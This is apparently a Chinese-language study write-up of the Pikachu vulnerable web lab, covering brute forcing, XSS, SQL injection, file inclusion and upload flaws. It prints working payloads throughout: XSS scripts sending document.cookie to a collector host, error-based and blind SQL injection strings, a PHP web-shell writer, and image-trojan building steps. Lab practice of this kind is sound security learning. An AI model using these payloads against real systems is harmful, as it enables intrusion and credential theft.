pikachu靶场通关(一些问题和重点)
文章目录
- 暴力破解
- XSS漏洞
- csrf漏洞
- SQL注入漏洞
- 工具sqlmap的应用
- RCE漏洞
- 文件包含漏洞
- 越权漏洞
- PHP反序列化漏洞
- xxe漏洞
- ssrf漏洞
- 目录遍历和敏感信息泄露
- 不安全的url重定向
暴力破解漏洞
理解:暴力破解=连续性的尝试+字典+自动化(好的字典很重要)
测试:
1.确认登录接口脆弱性:尝试登陆,抓包分析
2.优化字典,提高爆破效率
3.配置自动化工具(比如线程、超时时间、重试次数等)
Burp suite-intruder中的Pasitions选项卡可指定需要暴力破解的参数并设置成变量,同时选择攻击模式:
Sniper狙击手:先将第一个动态变量使用字典测试,然后再测试第二个字典;
Battering ram冲撞车:所有变量一起用字典内容替换然后一起尝试;
Ptichfork草叉型:分别使用对应的字典对变量进行同时替换;
Cluster bomb集束炸弹:分别使用字典内容组合对变量进行替换。
可能遇到Problems:
- Runtime file的payload type下报错:
payload set1:Specified runtime file does not exist
路径错了,或者不能识别中文路径。 - 如图:
可能会遇到bp的http响应报文中的中文信息乱码的情况,解决方案是在User Options – Display 中修改两个地方,一个是修改字体为中文类型的字体,另一个是修改字符集,使用UTF-8,修改后即可看到效果。
验证码绕过:CAPTCHA—“Completely Automated Public Turing test to tell Computers and Humans Apart” :全自动区分计算机和人类的图灵测试。
验证码认证流程:
- 客户端request登录页面,后台生成验证码:
1.后台使用算法生成图片,并将图片response给客户端;
2.同时将算法生成的值全局赋值存到SESSION中(Session百度:在网络应用中称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。简单来说,session是服务器里面的一块可以存放东西的内存。);
关于session和cookie的进一步理解:https://blog.csdn.net/weixin_42217767/article/details/92760353
- 校验验证码:
1.客户端将认证信息和验证码一起提交;
2.后台对提交的验证码与SESSION里面的进行比较(验证码但凡被验证过都会被即刻销毁,若前端只是请求了验证码没有发送验证,后台一般也会对验证码设置一个超时时间); - 客户端重新刷新页面,再次生成新的验证码:
验证码算法中一般包含随机函数,所以每次刷新都会改变;
不安全的验证码(on client):
1.若并未设置超时时间或验证码框是通过前端JS实现,后台并未对其进行认证,都易被暴力破解;
2.后端并未将验证码以图片形式展示在前端,而是以字符串形式响应到前端页面或前端cookie里面去,一旦验证码以字符串形式被输出到前端HTML页面或cookie里面去,都是可以在验证码被验证前在前端被程序获取到的。
不安全的验证码(on server):
1.验证码在后台不过期,导致可以长期被使用;
2.验证码校验不严格,逻辑出现问题;
3.验证码设计的太过简单和有规律,容易被猜解(追求安全而又不影响用户体验的验证方式)。
token 防爆破?
打开页面时,后端会在收到请求时生成一个token,然后把token放在它的session里面,同时把token输出到前端的表单里面来,目的是当点击账号密码登录时后台会对账号密码加token进行验证。但是由于token值已以字符串明文的方式输出到了HTML的表单里面,所以并不能起到防暴力破解的作用。
关于bp在靶场中的使用(Firefox)
-
使用bp抓包的时候有时会抓到很多url为
http://detectportal.firefox.com/success.txt
的无用数据包:
从域名中可以看出是火狐浏览器的问题,查到是由于火狐浏览器默认开启Captive portal技术用于检测当前网络环境,搜索 about:config 关闭 network.captive-portal-service.en选项即可。 -
bp抓不到浏览器的包,注意可能是ip设错,默认127.0.0.1的连接是不经过代理的,换为本机ip访问靶场即可。
XSS漏洞(跨站脚本攻击漏洞)
XSS(窃取cookie)攻击流程
靶场不小心构造了存储型xss的payload后怎么打开闭合
- 法一:火狐浏览器搜索:about:config,再查找javascript.enabled选项禁掉,就可以进入留言板界面删除留言啦(其他浏览器也是一样思路,禁掉JS基本就可以了)。
- 法二:删库~
关于复现钓鱼(get型)
-
采用Basic认证来制作鱼饵,fish.php会用弹窗获取用户账号密码信息,并重定向到pkxss后台,钓鱼后台接口即为xfish.php文件(后端代码),通过get方式获取账号密码然后存到mysql里面。所以留言板页面上,我们可以用src去调用远端php文件获得弹窗。
-
Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证
发现!phpstudy的php版本有问题,会导致钓鱼认证框数据无法传输到后台,用mamp搭建的靶场就没事,或者改用
<script src="http://IP/pikachu/pkxss/xfish/xfish.php?username=admin&password=123456"></script>
这样不用认证框钓鱼也可以获得cookie。
具体可见:
-
https://www.naraku.cn/posts/38.html
https://m.freebuf.com/articles/web/226365.html
一个总结挺全的xss类型:XSS类型,防御及常见payload构造总结
关于POST和GET请求:
概念性理解:get方法的含义更倾向于“检索”和“获取”;post方法的含义更倾向于“创建/更新”。
例如,在靶场尝试登录等发送提交表单请求时,burpsuite就会抓到POST的数据包,POST请求是可以建立新的资源或修改已有资源的;而刷新页面、点击菜单等操作则是在请求指定页面信息,因此bp会抓到GET请求。
DOM型XSS:
HTML DOM(文档对象模型)
DOM可以理解为一个访问HTML的标准编程接口,在DOM里面会将HTML分为一个DOM树,首先我们知道HTML是由多个标签组成的充当结构作用的,
详细可见:w3school JavaScript HTML DOM
xss获取键盘记录步骤
1.修改pikachu源码文件中的rkserver.php文件,允许跨域访问,其中传过来的post数据都会由rkserver.php中的一个参数data会由query传到pkxss_keypress_result.php中存在mysql中,rk.js文件对用户的键盘输入进行获取,赋值给realkey,然后发送到攻击者后台(192.168.1.5的xss后台键盘记录中)
2.其中F12开网络可以看见键盘输入的时候是有post请求的,去bp上同样可以看见,键盘按下的时候是发送了post请求的。
- xss防范措施:输入做过滤,输出做转义。
3.虽然htmlspecialchars可以转义,但输出在a标签的herf属性里面的话,仍可以使用javascript协议来执行js;
- 这个防范划重点:因为herf里面一般是用来写超链接的,所以只允许http;https开头的协议从这里输出,否则不允许输入,其次进行htmlspecialchars处理。
4.注意输出的点是在javascript里面,通过用户输入动态生成了js代码,形成了xss,javascript里面是不会对tag和实体字符进行解释的,所以如果想用htmlspecialchars对输入做实体编码处理的话,那输入变成实体编码之后在js里面不会解释回去,这样虽然解决了xss问题,输出不会构成合法Js但是前端的功能逻辑是说,要完整的获取它的输入,但是输入又被html实体编码, 那它的输出在js里面实际上是没有用的,不符合预期,所以在js里面的输出应该用\对特殊字符进行转义,也就是js转义。由此看来,输出点不同防范措施也应不同。
-
注入点:数字型
user_id=$id
字符型
user_id= '$id'
搜索型
text LIKE '%{$_GET['search']}%'"
-
数字型测试:
$id=$_POST['id']
select 字段1,字段2 from 表名where id = 1 or 1=1;
字符型测试:
$uname=$_GET['username']
select 字段1,字段2 from 表名 where username='$uname';
(字符串要用单引号或者双引号做处理,不然会报错,若从前端可以看出来存进去的是一个字符串,那么可以猜想到后端拼接sql的时候肯定用了单引号做处理)
我们可以这样拼接 'uname' or 1=1#';
搜索型:
select * from member where username like '%xxx%' ;
我们可以:xxx%' or 1=1#
a' union select database(),user()#
-
在mysql中,自带的Information_schema表里存放了大量重要信息。如果存在注入点,可以尝试对该数据库进行访问,比如SCHEMATA提供了mysql实例中所有数据库的信息,TABLES表详细表述了某个表属于哪个schema,表类型表引擎创建时间等,COLUMNS表提供了表中列信息,show columns from schemaname.tablename结果取之此表。
-
常用报错函数:
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
- 语法:
UPDATEXML(xml_document.XPathstring,new_value)
参数:fiedname是string格式,为表中字段名。
参数:XPathstring(XPath格式的字符串)
参数:new_value,string格式,替换查找到的符合条件的。
Xpath定位必须是有效的,否则会发声错误。
基于updatexml的报错:xxx' and updatexml(1,version(),0)#
xxx' and updatexml (1,concat(0x7e,version( ) ),0)#
(0x7e是特殊符号~的十六进制表达式,也可使用其他符号的十六进制,目的是为了避免我们的信息不被报错内容吃掉,拼接成完整的信息显示出来。)
- 发现只能一次显示一行发现报错(获取表名)
xxx' and updatexml (1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
- 获取列名:
xxx' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1)),0)#
- 获取数据:
xxx' and updatexml(1,concat(0x7e,(select password from users where username= 'admin' limit 0,1)),0)#
基于insert下的报错:
- xxx' or updatexml(1,concat(0x7e,database()),0) or '
基于delete下的报错:
- 1 or updatexml(1,concat(0x7e,database()),0)
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数,可以从目标XML中返回包含所查询值的字符串。
语法:ExtractValue(xml_document,xpath_string)
参数:XML_document是string格式,为XML文档对象的名称,中文为Doc
参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发声错误;
xxx' and extractvalue(0,concat(0x7e,version( ) ) )#
floor():MYSQL中用来取整的函数。
xxx' and (select 2 from (select count(*),concat(version( ),floor(rand(0) * 2))x from information_schema.tables group by x)a)#
kobe' and (select 2 from (select count(*),concat((select password from users where username= 'admin' limit 0,1),floor(rand(0) * 2))x from information_schema.tables group by x)a)#
- 基于boolean的盲注:
kobe' and ascii(substr ((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=112#
- 基于time的盲注:
kobe' and if((substr(darabase(),1,1))= ' p ',sleep(5),null)#
cookie的窃取和利用(get型)
-
方法一:只用pikachu进行实验:cookie.php文件中有重定向到pikachu首页的url,但是如果那个不行的话可能是pikachu源文件位置的问题(默认会多一个/pikachu/),可以直接去首页取url(
<script> document.location = 'http://192.168.1.4/pikachu/pikachu/vul/burteforce/bf_form.php?cookie=' + document.cookie; </script>
),但直接修改url的ip(<script>document.location = 'http://192.168.1.4/pikachu/index.php?cookie=' +document.cookie;</script>
)得到的url好像会出错? -
方法二:采用设置两个不同Ip的方法模拟攻击与被攻击的主机(难点:IP的设置)暂不详细展开介绍,目前已设好第二个IP192.168.1.5,可能需要更改hosts文件(我没改),直接网络里边创建的。pikachu-XSS(三个案例) - 骑着七彩祥云的少年 - 博客园 (cnblogs.com)
成功代码示例(重定向的页面或发送cookie的xss后台不同而已,可是我发现好像xss后台是相通的,记录都在无论哪个IP):
- <script>document.location = 'http://192.168.1.5/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie; </script>
- <script> document.location = 'http://192.168.1.4/pikachu/pikachu/vul/burteforce/bf_form.php?cookie=' + document.cookie; </script>
- <script>document.location = 'http://192.168.1.4/pikachu/index.php?cookie=' +document.cookie;</script>
远程文件包含漏洞
-
前提:如果使用的include和require,则需要php.ini配置如下(php5.4.34)
allow_url_fopen = on//默认打开
Allow_url_include = on//默认关闭
<?php
/* *
*Created by runner.han
*There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET [ x ] );?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
-
不安全文件上传漏洞
简单来说,当浏览器对一个文件进行识别的时候,它会给这个文件定义一个类型,同时会把这个类型放在http的头里面(字段contentpye)
通过使用PHP的全局数组$_FILES,可以从客户计算机向远程服务器上传文件。
第一个参数是表单的input name,第二个下标可以是"name",“type”,“size”,“tmp_name"或"error”。 -
getimagesize()就是对目标文件的十六进制进行读取,然后去读取十六进制内容里面的头几个字符串,看它符不符合一个图片的要求,固定的图片文件十六进制的头几个字符串基本上是一样的。
图片木马制作:
- 直接伪造头部GIF89A
- CMD命令:copy /b test.png + muma.php new.png(正常图片test.png通过加号把php的恶意代码加入会生成一个新的图片new.png,在该图片的十六进制结束之后后面会加入写入的恶意代码。)
- 使用GIMP(开源的图片修改软件),通过增加备注,写入执行命令。
如何利用: 可以结合本地文件包含漏洞(图片路径正确很重要,可以通过暴力破解等手段确认图片上传点在哪)